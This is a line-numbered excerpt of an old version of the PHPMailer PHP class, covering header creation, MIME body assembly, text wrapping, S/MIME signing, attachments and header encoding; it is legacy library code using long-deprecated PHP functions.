  2002. function SmtpClose() {
  2003. if($this->smtp != NULL) {
  2004. if($this->smtp->Connected()) {
  2005. $this->smtp->Quit();
  2006. $this->smtp->Close();
  2007. }
  2008. }
  2009. }
  2010.  
  2011. /**
  2012. * Sets the language for all class error messages. Returns false
  2013. * if it cannot load the language file. The default language type
  2014. * is English.
  2015. * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2016. * @param string $lang_path Path to the language file directory
  2017. * @access public
  2018. * @return bool
  2019. */
  2020. function SetLanguage($lang_type, $lang_path = 'language/') {
  2021. if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2022. include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2023. } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2024. include($lang_path.'phpmailer.lang-en.php');
  2025. } else {
  2026. $this->SetError('Could not load language file');
  2027. return false;
  2028. }
  2029. $this->language = $PHPMAILER_LANG;
  2030.  
  2031. return true;
  2032. }
  2033.  
  2034. /////////////////////////////////////////////////
  2035. // METHODS, MESSAGE CREATION
  2036. /////////////////////////////////////////////////
  2037.  
  2038. /**
  2039. * Creates recipient headers.
  2040. * @access private
  2041. * @return string
  2042. */
  2043. function AddrAppend($type, $addr) {
  2044. $addr_str = $type . ': ';
  2045. $addr_str .= $this->AddrFormat($addr[0]);
  2046. if(count($addr) > 1) {
  2047. for($i = 1; $i < count($addr); $i++) {
  2048. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2049. }
  2050. }
  2051. $addr_str .= $this->LE;
  2052.  
  2053. return $addr_str;
  2054. }
  2055.  
  2056. /**
  2057. * Formats an address correctly.
  2058. * @access private
  2059. * @return string
  2060. */
  2061. function AddrFormat($addr) {
  2062. if(empty($addr[1])) {
  2063. $formatted = $this->SecureHeader($addr[0]);
  2064. } else {
  2065. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2066. }
  2067.  
  2068. return $formatted;
  2069. }
  2070.  
  2071. /**
  2072. * Wraps message for use with mailers that do not
  2073. * automatically perform wrapping and for quoted-printable.
  2074. * Original written by philippe.
  2075. * @access private
  2076. * @return string
  2077. */
  2078. function WrapText($message, $length, $qp_mode = false) {
  2079. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2080. // If utf-8 encoding is used, we will need to make sure we don't
  2081. // split multibyte characters when we wrap
  2082. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2083.  
  2084. $message = $this->FixEOL($message);
  2085. if (substr($message, -1) == $this->LE) {
  2086. $message = substr($message, 0, -1);
  2087. }
  2088.  
  2089. $line = explode($this->LE, $message);
  2090. $message = '';
  2091. for ($i=0 ;$i < count($line); $i++) {
  2092. $line_part = explode(' ', $line[$i]);
  2093. $buf = '';
  2094. for ($e = 0; $e<count($line_part); $e++) {
  2095. $word = $line_part[$e];
  2096. if ($qp_mode and (strlen($word) > $length)) {
  2097. $space_left = $length - strlen($buf) - 1;
  2098. if ($e != 0) {
  2099. if ($space_left > 20) {
  2100. $len = $space_left;
  2101. if ($is_utf8) {
  2102. $len = $this->UTF8CharBoundary($word, $len);
  2103. } elseif (substr($word, $len - 1, 1) == "=") {
  2104. $len--;
  2105. } elseif (substr($word, $len - 2, 1) == "=") {
  2106. $len -= 2;
  2107. }
  2108. $part = substr($word, 0, $len);
  2109. $word = substr($word, $len);
  2110. $buf .= ' ' . $part;
  2111. $message .= $buf . sprintf("=%s", $this->LE);
  2112. } else {
  2113. $message .= $buf . $soft_break;
  2114. }
  2115. $buf = '';
  2116. }
  2117. while (strlen($word) > 0) {
  2118. $len = $length;
  2119. if ($is_utf8) {
  2120. $len = $this->UTF8CharBoundary($word, $len);
  2121. } elseif (substr($word, $len - 1, 1) == "=") {
  2122. $len--;
  2123. } elseif (substr($word, $len - 2, 1) == "=") {
  2124. $len -= 2;
  2125. }
  2126. $part = substr($word, 0, $len);
  2127. $word = substr($word, $len);
  2128.  
  2129. if (strlen($word) > 0) {
  2130. $message .= $part . sprintf("=%s", $this->LE);
  2131. } else {
  2132. $buf = $part;
  2133. }
  2134. }
  2135. } else {
  2136. $buf_o = $buf;
  2137. $buf .= ($e == 0) ? $word : (' ' . $word);
  2138.  
  2139. if (strlen($buf) > $length and $buf_o != '') {
  2140. $message .= $buf_o . $soft_break;
  2141. $buf = $word;
  2142. }
  2143. }
  2144. }
  2145. $message .= $buf . $this->LE;
  2146. }
  2147.  
  2148. return $message;
  2149. }
  2150.  
  2151. /**
  2152. * Finds last character boundary prior to maxLength in a utf-8
  2153. * quoted (printable) encoded string.
  2154. * Original written by Colin Brown.
  2155. * @access private
  2156. * @param string $encodedText utf-8 QP text
  2157. * @param int $maxLength find last character boundary prior to this length
  2158. * @return int
  2159. */
  2160. function UTF8CharBoundary($encodedText, $maxLength) {
  2161. $foundSplitPos = false;
  2162. $lookBack = 3;
  2163. while (!$foundSplitPos) {
  2164. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2165. $encodedCharPos = strpos($lastChunk, "=");
  2166. if ($encodedCharPos !== false) {
  2167. // Found start of encoded character byte within $lookBack block.
  2168. // Check the encoded byte value (the 2 chars after the '=')
  2169. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2170. $dec = hexdec($hex);
  2171. if ($dec < 128) { // Single byte character.
  2172. // If the encoded char was found at pos 0, it will fit
  2173. // otherwise reduce maxLength to start of the encoded char
  2174. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2175. $maxLength - ($lookBack - $encodedCharPos);
  2176. $foundSplitPos = true;
  2177. } elseif ($dec >= 192) { // First byte of a multi byte character
  2178. // Reduce maxLength to split at start of character
  2179. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2180. $foundSplitPos = true;
  2181. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2182. $lookBack += 3;
  2183. }
  2184. } else {
  2185. // No encoded character found
  2186. $foundSplitPos = true;
  2187. }
  2188. }
  2189. return $maxLength;
  2190. }
  2191.  
  2192. /**
  2193. * Set the body wrapping.
  2194. * @access private
  2195. * @return void
  2196. */
  2197. function SetWordWrap() {
  2198. if($this->WordWrap < 1) {
  2199. return;
  2200. }
  2201.  
  2202. switch($this->message_type) {
  2203. case 'alt':
  2204. /* fall through */
  2205. case 'alt_attachments':
  2206. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2207. break;
  2208. default:
  2209. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2210. break;
  2211. }
  2212. }
  2213.  
  2214. /**
  2215. * Assembles message header.
  2216. * @access private
  2217. * @return string
  2218. */
  2219. function CreateHeader() {
  2220. $result = '';
  2221.  
  2222. /* Set the boundaries */
  2223. $uniq_id = md5(uniqid(time()));
  2224. $this->boundary[1] = 'b1_' . $uniq_id;
  2225. $this->boundary[2] = 'b2_' . $uniq_id;
  2226.  
  2227. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2228. if($this->Sender == '') {
  2229. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2230. } else {
  2231. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2232. }
  2233.  
  2234. /* To be created automatically by mail() */
  2235. if($this->Mailer != 'mail') {
  2236. if(count($this->to) > 0) {
  2237. $result .= $this->AddrAppend('To', $this->to);
  2238. } elseif (count($this->cc) == 0) {
  2239. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2240. }
  2241. if(count($this->cc) > 0) {
  2242. $result .= $this->AddrAppend('Cc', $this->cc);
  2243. }
  2244. }
  2245.  
  2246. $from = array();
  2247. $from[0][0] = trim($this->From);
  2248. $from[0][1] = $this->FromName;
  2249. $result .= $this->AddrAppend('From', $from);
  2250.  
  2251. /* sendmail and mail() extract Cc from the header before sending */
  2252. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2253. $result .= $this->AddrAppend('Cc', $this->cc);
  2254. }
  2255.  
  2256. /* sendmail and mail() extract Bcc from the header before sending */
  2257. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2258. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2259. }
  2260.  
  2261. if(count($this->ReplyTo) > 0) {
  2262. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2263. }
  2264.  
  2265. /* mail() sets the subject itself */
  2266. if($this->Mailer != 'mail') {
  2267. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2268. }
  2269.  
  2270. if($this->MessageID != '') {
  2271. $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2272. } else {
  2273. $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2274. }
  2275. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2276. $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
  2277.  
  2278. if($this->ConfirmReadingTo != '') {
  2279. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2280. }
  2281.  
  2282. // Add custom headers
  2283. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2284. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2285. }
  2286. if (!$this->sign_key_file) {
  2287. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2288. $result .= $this->GetMailMIME();
  2289. }
  2290.  
  2291. return $result;
  2292. }
  2293.  
  2294. /**
  2295. * Returns the message MIME.
  2296. * @access private
  2297. * @return string
  2298. */
  2299. function GetMailMIME() {
  2300. $result = '';
  2301. switch($this->message_type) {
  2302. case 'plain':
  2303. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2304. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2305. break;
  2306. case 'attachments':
  2307. /* fall through */
  2308. case 'alt_attachments':
  2309. if($this->InlineImageExists()){
  2310. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2311. } else {
  2312. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2313. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2314. }
  2315. break;
  2316. case 'alt':
  2317. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2318. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2319. break;
  2320. }
  2321.  
  2322. if($this->Mailer != 'mail') {
  2323. $result .= $this->LE.$this->LE;
  2324. }
  2325.  
  2326. return $result;
  2327. }
  2328.  
  2329. /**
  2330. * Assembles the message body. Returns an empty string on failure.
  2331. * @access private
  2332. * @return string
  2333. */
  2334. function CreateBody() {
  2335. $result = '';
  2336. if ($this->sign_key_file) {
  2337. $result .= $this->GetMailMIME();
  2338. }
  2339.  
  2340. $this->SetWordWrap();
  2341.  
  2342. switch($this->message_type) {
  2343. case 'alt':
  2344. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2345. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2346. $result .= $this->LE.$this->LE;
  2347. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2348. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2349. $result .= $this->LE.$this->LE;
  2350. $result .= $this->EndBoundary($this->boundary[1]);
  2351. break;
  2352. case 'plain':
  2353. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2354. break;
  2355. case 'attachments':
  2356. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2357. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2358. $result .= $this->LE;
  2359. $result .= $this->AttachAll();
  2360. break;
  2361. case 'alt_attachments':
  2362. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2363. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2364. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2365. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2366. $result .= $this->LE.$this->LE;
  2367. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2368. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2369. $result .= $this->LE.$this->LE;
  2370. $result .= $this->EndBoundary($this->boundary[2]);
  2371. $result .= $this->AttachAll();
  2372. break;
  2373. }
  2374.  
  2375. if($this->IsError()) {
  2376. $result = '';
  2377. } else if ($this->sign_key_file) {
  2378. $file = tempnam("", "mail");
  2379. $fp = fopen($file, "w");
  2380. fwrite($fp, $result);
  2381. fclose($fp);
  2382. $signed = tempnam("", "signed");
  2383.  
  2384. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2385. $fp = fopen($signed, "r");
  2386. $result = fread($fp, filesize($this->sign_key_file));
  2387. fclose($fp);
  2388. } else {
  2389. $this->SetError($this->Lang("signing").openssl_error_string());
  2390. $result = '';
  2391. }
  2392.  
  2393. unlink($file);
  2394. unlink($signed);
  2395. }
  2396.  
  2397. return $result;
  2398. }
  2399.  
  2400. /**
  2401. * Returns the start of a message boundary.
  2402. * @access private
  2403. */
  2404. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2405. $result = '';
  2406. if($charSet == '') {
  2407. $charSet = $this->CharSet;
  2408. }
  2409. if($contentType == '') {
  2410. $contentType = $this->ContentType;
  2411. }
  2412. if($encoding == '') {
  2413. $encoding = $this->Encoding;
  2414. }
  2415. $result .= $this->TextLine('--' . $boundary);
  2416. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2417. $result .= $this->LE;
  2418. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2419. $result .= $this->LE;
  2420.  
  2421. return $result;
  2422. }
  2423.  
  2424. /**
  2425. * Returns the end of a message boundary.
  2426. * @access private
  2427. */
  2428. function EndBoundary($boundary) {
  2429. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2430. }
  2431.  
  2432. /**
  2433. * Sets the message type.
  2434. * @access private
  2435. * @return void
  2436. */
  2437. function SetMessageType() {
  2438. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2439. $this->message_type = 'plain';
  2440. } else {
  2441. if(count($this->attachment) > 0) {
  2442. $this->message_type = 'attachments';
  2443. }
  2444. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2445. $this->message_type = 'alt';
  2446. }
  2447. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2448. $this->message_type = 'alt_attachments';
  2449. }
  2450. }
  2451. }
  2452.  
  2453. /* Returns a formatted header line.
  2454. * @access private
  2455. * @return string
  2456. */
  2457. function HeaderLine($name, $value) {
  2458. return $name . ': ' . $value . $this->LE;
  2459. }
  2460.  
  2461. /**
  2462. * Returns a formatted mail line.
  2463. * @access private
  2464. * @return string
  2465. */
  2466. function TextLine($value) {
  2467. return $value . $this->LE;
  2468. }
  2469.  
  2470. /////////////////////////////////////////////////
  2471. // CLASS METHODS, ATTACHMENTS
  2472. /////////////////////////////////////////////////
  2473.  
  2474. /**
  2475. * Adds an attachment from a path on the filesystem.
  2476. * Returns false if the file could not be found
  2477. * or accessed.
  2478. * @param string $path Path to the attachment.
  2479. * @param string $name Overrides the attachment name.
  2480. * @param string $encoding File encoding (see $Encoding).
  2481. * @param string $type File extension (MIME) type.
  2482. * @return bool
  2483. */
  2484. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2485. if(!@is_file($path)) {
  2486. $this->SetError($this->Lang('file_access') . $path);
  2487. return false;
  2488. }
  2489.  
  2490. $filename = basename($path);
  2491. if($name == '') {
  2492. $name = $filename;
  2493. }
  2494.  
  2495. $cur = count($this->attachment);
  2496. $this->attachment[$cur][0] = $path;
  2497. $this->attachment[$cur][1] = $filename;
  2498. $this->attachment[$cur][2] = $name;
  2499. $this->attachment[$cur][3] = $encoding;
  2500. $this->attachment[$cur][4] = $type;
  2501. $this->attachment[$cur][5] = false; // isStringAttachment
  2502. $this->attachment[$cur][6] = 'attachment';
  2503. $this->attachment[$cur][7] = 0;
  2504.  
  2505. return true;
  2506. }
  2507.  
  2508. /**
  2509. * Attaches all fs, string, and binary attachments to the message.
  2510. * Returns an empty string on failure.
  2511. * @access private
  2512. * @return string
  2513. */
  2514. function AttachAll() {
  2515. /* Return text of body */
  2516. $mime = array();
  2517.  
  2518. /* Add all attachments */
  2519. for($i = 0; $i < count($this->attachment); $i++) {
  2520. /* Check for string attachment */
  2521. $bString = $this->attachment[$i][5];
  2522. if ($bString) {
  2523. $string = $this->attachment[$i][0];
  2524. } else {
  2525. $path = $this->attachment[$i][0];
  2526. }
  2527.  
  2528. $filename = $this->attachment[$i][1];
  2529. $name = $this->attachment[$i][2];
  2530. $encoding = $this->attachment[$i][3];
  2531. $type = $this->attachment[$i][4];
  2532. $disposition = $this->attachment[$i][6];
  2533. $cid = $this->attachment[$i][7];
  2534.  
  2535. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2536. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2537. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2538.  
  2539. if($disposition == 'inline') {
  2540. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2541. }
  2542.  
  2543. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2544.  
  2545. /* Encode as string attachment */
  2546. if($bString) {
  2547. $mime[] = $this->EncodeString($string, $encoding);
  2548. if($this->IsError()) {
  2549. return '';
  2550. }
  2551. $mime[] = $this->LE.$this->LE;
  2552. } else {
  2553. $mime[] = $this->EncodeFile($path, $encoding);
  2554. if($this->IsError()) {
  2555. return '';
  2556. }
  2557. $mime[] = $this->LE.$this->LE;
  2558. }
  2559. }
  2560.  
  2561. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2562.  
  2563. return join('', $mime);
  2564. }
  2565.  
  2566. /**
  2567. * Encodes attachment in requested format. Returns an
  2568. * empty string on failure.
  2569. * @access private
  2570. * @return string
  2571. */
  2572. function EncodeFile ($path, $encoding = 'base64') {
  2573. if(!@$fd = fopen($path, 'rb')) {
  2574. $this->SetError($this->Lang('file_open') . $path);
  2575. return '';
  2576. }
  2577. $magic_quotes = get_magic_quotes_runtime();
  2578. set_magic_quotes_runtime(0);
  2579. $file_buffer = fread($fd, filesize($path));
  2580. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2581. fclose($fd);
  2582. set_magic_quotes_runtime($magic_quotes);
  2583.  
  2584. return $file_buffer;
  2585. }
  2586.  
  2587. /**
  2588. * Encodes string to requested format. Returns an
  2589. * empty string on failure.
  2590. * @access private
  2591. * @return string
  2592. */
  2593. function EncodeString ($str, $encoding = 'base64') {
  2594. $encoded = '';
  2595. switch(strtolower($encoding)) {
  2596. case 'base64':
  2597. /* chunk_split is found in PHP >= 3.0.6 */
  2598. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2599. break;
  2600. case '7bit':
  2601. case '8bit':
  2602. $encoded = $this->FixEOL($str);
  2603. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2604. $encoded .= $this->LE;
  2605. break;
  2606. case 'binary':
  2607. $encoded = $str;
  2608. break;
  2609. case 'quoted-printable':
  2610. $encoded = $this->EncodeQP($str);
  2611. break;
  2612. default:
  2613. $this->SetError($this->Lang('encoding') . $encoding);
  2614. break;
  2615. }
  2616. return $encoded;
  2617. }
  2618.  
  2619. /**
  2620. * Encode a header string to best of Q, B, quoted or none.
  2621. * @access private
  2622. * @return string
  2623. */
  2624. function EncodeHeader ($str, $position = 'text') {
  2625. $x = 0;
  2626.  
  2627. switch (strtolower($position)) {
  2628. case 'phrase':
  2629. if (!preg_match('/[\200-\377]/', $str)) {
  2630. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2631. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2632. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2633. return ($encoded);
  2634. } else {
  2635. return ("\"$encoded\"");
  2636. }
  2637. }
  2638. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2639. break;
  2640. case 'comment':
  2641. $x = preg_match_all('/[()"]/', $str, $matches);
  2642. /* Fall-through */
  2643. case 'text':
  2644. default:
  2645. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2646. break;
  2647. }
  2648.  
  2649. if ($x == 0) {
  2650. return ($str);
  2651. }
  2652.  
  2653. $maxlen = 75 - 7 - strlen($this->CharSet);
  2654. /* Try to select the encoding which should produce the shortest output */
  2655. if (strlen($str)/3 < $x) {
  2656. $encoding = 'B';
  2657. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2658. // Use a custom function which correctly encodes and wraps long
  2659. // multibyte strings without breaking lines within a character
  2660. $encoded = $this->Base64EncodeWrapMB($str);
  2661. } else {
  2662. $encoded = base64_encode($str);
  2663. $maxlen -= $maxlen % 4;
  2664. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2665. }
  2666. } else {
  2667. $encoding = 'Q';
  2668. $encoded = $this->EncodeQ($str, $position);
  2669. $encoded = $this->WrapText($encoded, $maxlen, true);
  2670. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2671. }
  2672.  
  2673. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2674. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2675.  
  2676. return $encoded;
  2677. }
  2678.  
  2679. /**
  2680. * Checks if a string contains multibyte characters.
  2681. * @access private
  2682. * @param string $str multi-byte text to wrap encode
  2683. * @return bool
  2684. */
  2685. function HasMultiBytes($str) {
  2686. if (function_exists('mb_strlen')) {
  2687. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2688. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2689. return False;
  2690. }
  2691. }
  2692.  
  2693. /**
  2694. * Correctly encodes and wraps long multibyte strings for mail headers
  2695. * without breaking lines within a character.
  2696. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2697. * @access private
  2698. * @param string $str multi-byte text to wrap encode
  2699. * @return string
  2700. */
  2701. function Base64EncodeWrapMB($str) {
  2702. $start = "=?".$this->CharSet."?B?";
  2703. $end = "?=";
  2704. $encoded = "";
  2705.  
  2706. $mb_length = mb_strlen($str, $this->CharSet);
  2707. // Each line must have length <= 75, including $start and $end
  2708. $length = 75 - strlen($start) - strlen($end);
  2709. // Average multi-byte ratio
  2710. $ratio = $mb_length / strlen($str);
  2711. // Base64 has a 4:3 ratio
  2712. $offset = $avgLength = floor($length * $ratio * .75);
  2713.  
  2714. for ($i = 0; $i < $mb_length; $i += $offset) {
  2715. $lookBack = 0;
  2716.  
  2717. do {
  2718. $offset = $avgLength - $lookBack;
  2719. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2720. $chunk = base64_encode($chunk);
  2721. $lookBack++;
  2722. }
  2723. while (strlen($chunk) > $length);
  2724.  
  2725. $encoded .= $chunk . $this->LE;
  2726. }
  2727.  
  2728. // Chomp the last linefeed
  2729. $encoded = substr($encoded, 0, -strlen($this->LE));
  2730. return $encoded;
  2731. }
  2732.  
  2733. /**
  2734. * Encode string to quoted-printable.
  2735. * @access private
  2736. * @return string
  2737. */
  2738. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2739. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2740. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2741. $eol = "\r\n";
  2742. $escape = '=';
  2743. $output = '';
  2744. while( list(, $line) = each($lines) ) {
  2745. $linlen = strlen($line);
  2746. $newline = '';
  2747. for($i = 0; $i < $linlen; $i++) {
  2748. $c = substr( $line, $i, 1 );
  2749. $dec = ord( $c );
  2750. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2751. $c = '=2E';
  2752. }
  2753. if ( $dec == 32 ) {
  2754. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2755. $c = '=20';
  2756. } else if ( $space_conv ) {
  2757. $c = '=20';
  2758. }
  2759. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2760. $h2 = floor($dec/16);
  2761. $h1 = floor($dec%16);
  2762. $c = $escape.$hex[$h2].$hex[$h1];
  2763. }
  2764. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2765. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2766. $newline = '';
  2767. // check if newline first character will be point or not
  2768. if ( $dec == 46 ) {
  2769. $c = '=2E';
  2770. }
  2771. }
  2772. $newline .= $c;
  2773. } // end of for
  2774. $output .= $newline.$eol;
  2775. } // end of while
  2776. return trim($output);
  2777. }
  2778.  
  2779. /**
  2780. * Encode string to q encoding.
  2781. * @access private
  2782. * @return string
  2783. */
  2784. function EncodeQ ($str, $position = 'text') {
  2785. /* There should not be any EOL in the string */
  2786. $encoded = preg_replace("[\r\n]", '', $str);
  2787.  
  2788. switch (strtolower($position)) {
  2789. case 'phrase':
  2790. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2791. break;
  2792. case 'comment':
  2793. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2794. case 'text':
  2795. default:
  2796. /* Replace every high ascii, control =, ? and _ characters */
  2797. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2798. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2799. break;
  2800. }
  2801.  
  2802. /* Replace every spaces to _ (more readable than =20) */
  2803. $encoded = str_replace(' ', '_', $encoded);
  2804.  
  2805. return $encoded;
  2806. }
  2807.  
  2808. /**
  2809. * Adds a string or binary attachment (non-filesystem) to the list.
  2810. * This method can be used to attach ascii or binary data,
  2811. * such as a BLOB record from a database.
  2812. * @param string $string String attachment data.
  2813. * @param string $filename Name of the attachment.
  2814. * @param string $encoding File encoding (see $Encoding).
  2815. * @param string $type File extension (MIME) type.
  2816. * @return void
  2817. */
  2818. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2819. /* Append to $attachment array */
  2820. $cur = count($this->attachment);
  2821. $this->attachment[$cur][0] = $string;
  2822. $this->attachment[$cur][1] = $filename;
  2823. $this->attachment[$cur][2] = $filename;
  2824. $this->attachment[$cur][3] = $encoding;
  2825. $this->attachment[$cur][4] = $type;
  2826. $this->attachment[$cur][5] = true; // isString
  2827. $this->attachment[$cur][6] = 'attachment';
  2828. $this->attachment[$cur][7] = 0;
  2829. }
  2830.  
  2831. /**
  2832. * Adds an embedded attachment. This can include images, sounds, and
  2833. * just about any other document. Make sure to set the $type to an
  2834. * image type. For JPEG images use "image/jpeg" and for GIF images
  2835. * use "image/gif".
  2836. * @param string $path Path to the attachment.
  2837. * @param string $cid Content ID of the attachment. Use this to identify
  2838. * the Id for accessing the image in an HTML form.
  2839. * @param string $name Overrides the attachment name.
  2840. * @param string $encoding File encoding (see $Encoding).
  2841. * @param string $type File extension (MIME) type.
  2842. * @return bool
  2843. */
  2844. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2845.  
  2846. if(!@is_file($path)) {
  2847. $this->SetError($this->Lang('file_access') . $path);
  2848. return false;
  2849. }
  2850.  
  2851. $filename = basename($path);
  2852. if($name == '') {
  2853. $name = $filename;
  2854. }
  2855.  
  2856. /* Append to $attachment array */
  2857. $cur = count($this->attachment);
  2858. $this->attachment[$cur][0] = $path;
  2859. $this->attachment[$cur][1] = $filename;
  2860. $this->attachment[$cur][2] = $name;
  2861. $this->attachment[$cur][3] = $encoding;
  2862. $this->attachment[$cur][4] = $type;
  2863. $this->attachment[$cur][5] = false;
  2864. $this->attachment[$cur][6] = 'inline';
  2865. $this->attachment[$cur][7] = $cid;
  2866.  
  2867. return true;
  2868. }
  2869.  
  2870. /**
  2871. * Returns true if an inline attachment is present.
  2872. * @access private
  2873. * @return bool
  2874. */
  2875. function InlineImageExists() {
  2876. $result = false;
  2877. for($i = 0; $i < count($this->attachment); $i++) {
  2878. if($this->attachment[$i][6] == 'inline') {
  2879. $result = true;
  2880. break;
  2881. }
  2882. }
  2883.  
  2884. return $result;
  2885. }
  2886.  
  2887. /////////////////////////////////////////////////
  2888. // CLASS METHODS, MESSAGE RESET
  2889. /////////////////////////////////////////////////
  2890.  
  2891. /**
  2892. * Clears all recipients assigned in the TO array. Returns void.
  2893. * @return void
  2894. */
  2895. function ClearAddresses() {
  2896. $this->to = array();
  2897. }
  2898.  
  2899. /**
  2900. * Clears all recipients assigned in the CC array. Returns void.
  2901. * @return void
  2902. */
  2903. function ClearCCs() {
  2904. $this->cc = array();
  2905. }
  2906.  
  2907. /**
  2908. * Clears all recipients assigned in the BCC array. Returns void.
  2909. * @return void
